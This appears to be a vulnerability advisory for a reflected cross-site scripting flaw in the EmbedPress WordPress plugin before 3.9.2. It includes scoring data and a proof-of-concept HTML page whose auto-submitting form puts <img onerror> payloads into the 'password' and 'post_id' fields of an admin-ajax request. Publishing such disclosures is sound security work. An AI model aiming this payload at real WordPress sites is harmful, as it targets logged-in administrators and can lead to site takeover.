EmbedPress < 3.9.2 - Reflected XSS

2023-11-2000:00:00

Krzysztof Zając

embedpress

reflected xss

html

admin page

form

action url

post method

hidden input.

6 Medium

AI Score

Confidence

High

0.0005 Low

EPSS

Percentile

17.1%

JSON

Description The plugin does not sanitise and escape user input before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Make a logged in admin open a page containing the HTML code below

<html>
    <body onload="document.forms[0].submit()">
        <form action="https://example.com/wp-admin/admin-ajax.php?action=lock_content_form_handler" method="POST">
            <input type="hidden" name="password" value="<img src=x onerror=alert(`XSS-password`)>" />
           <input type="hidden" name="post_id" value="<img src=x onerror=alert(`XSS-post_id`)>" />
            <input type="submit" value="hack me" />
        </form>
    </body>
</html>